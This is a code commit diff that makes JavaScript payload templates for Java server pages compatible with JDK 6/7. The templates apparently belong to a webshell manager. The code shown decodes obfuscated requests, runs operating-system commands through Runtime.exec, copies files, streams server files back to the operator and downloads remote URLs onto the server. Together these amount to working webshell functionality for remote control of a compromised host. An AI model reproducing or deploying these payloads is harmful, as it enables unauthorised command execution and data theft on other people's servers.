Commit ea15e13a authored by yzddmr6's avatar yzddmr6

兼容jdk6/7

parent a6efa86f
...@@ -103,8 +103,9 @@ class JSP_JS extends Base { ...@@ -103,8 +103,9 @@ class JSP_JS extends Base {
request.setCharacterEncoding(cs); request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs); response.setCharacterEncoding(cs);
function decode(str) { function decode(str) {
str=str.substr(#randomPrefix#); str = str.substr(2);
return byte2Str(Base64DecodeToByte(str)); var bt=Base64DecodeToByte(str);
return new java.lang.String(bt,cs);
} }
function Base64DecodeToByte(str) { function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc); importPackage(Packages.sun.misc);
...@@ -117,11 +118,6 @@ class JSP_JS extends Base { ...@@ -117,11 +118,6 @@ class JSP_JS extends Base {
} }
return bt; return bt;
} }
function byte2Str(bt) {
var strType = Java.type("java.lang.String");
var result = new strType(bt, cs);
return result;
}
${asencCode} ${asencCode}
${tmpCode} ${tmpCode}
} catch (e) { } catch (e) {
......
...@@ -20,12 +20,13 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -20,12 +20,13 @@ module.exports = (arg1, arg2, arg3) => ({
} }
var e = []; var e = [];
var i = 0; var i = 0;
for (var key in cmdenv) { var iter = cmdenv.keySet().iterator();
print(key + "=" + cmdenv[key]); while (iter.hasNext()) {
e[i] = key + "=" + cmdenv[key]; var key = iter.next();
var val = cmdenv.get(key);
e[i] = key + "=" + val;
i++; i++;
} }
p = java.lang.Runtime.getRuntime().exec(s, e); p = java.lang.Runtime.getRuntime().exec(s, e);
CopyInputStream(p.getInputStream(), sb); CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb); CopyInputStream(p.getErrorStream(), sb);
......
...@@ -136,11 +136,9 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -136,11 +136,9 @@ module.exports = (arg1, arg2, arg3) => ({
} else { } else {
var is = new FileInputStream(sf); var is = new FileInputStream(sf);
var os = new FileOutputStream(df); var os = new FileOutputStream(df);
var n; var tempByte;
var byteArray = Java.type("byte[]"); while ((tempByte = is.read()) != -1) {
var b = new byteArray(1024); os.write(tempByte);
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
} }
is.close(); is.close();
os.close(); os.close();
...@@ -159,15 +157,13 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -159,15 +157,13 @@ module.exports = (arg1, arg2, arg3) => ({
download_file: { download_file: {
_: ` _: `
function DownloadFileCode(filePath, r) { function DownloadFileCode(filePath, r) {
var n;
var byteArray = Java.type("byte[]");
var b = new byteArray(512);
r.reset(); r.reset();
var os = r.getOutputStream(); var os = r.getOutputStream();
var is = new BufferedInputStream(new FileInputStream(filePath)); var is = new BufferedInputStream(new FileInputStream(filePath));
os.write(tag_s.getBytes()); os.write(tag_s.getBytes());
while ((n = is.read(b, 0, 512)) != -1) { var tempByte;
os.write(b, 0, n); while ((tempByte = is.read()) != -1) {
os.write(tempByte);
} }
os.write(tag_e.getBytes()); os.write(tag_e.getBytes());
os.close(); os.close();
...@@ -303,10 +299,9 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -303,10 +299,9 @@ module.exports = (arg1, arg2, arg3) => ({
var os = new FileOutputStream(saveFilePath); var os = new FileOutputStream(saveFilePath);
var h = u.openConnection(); var h = u.openConnection();
var is = h.getInputStream(); var is = h.getInputStream();
var byteArray = Java.type("byte[]"); var tempByte;
var b = new byteArray(1024); while ((tempByte = is.read()) != -1) {
while ((n = is.read(b)) != -1) { os.write(tempByte);
os.write(b, 0, n);
} }
os.close(); os.close();
is.close(); is.close();
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment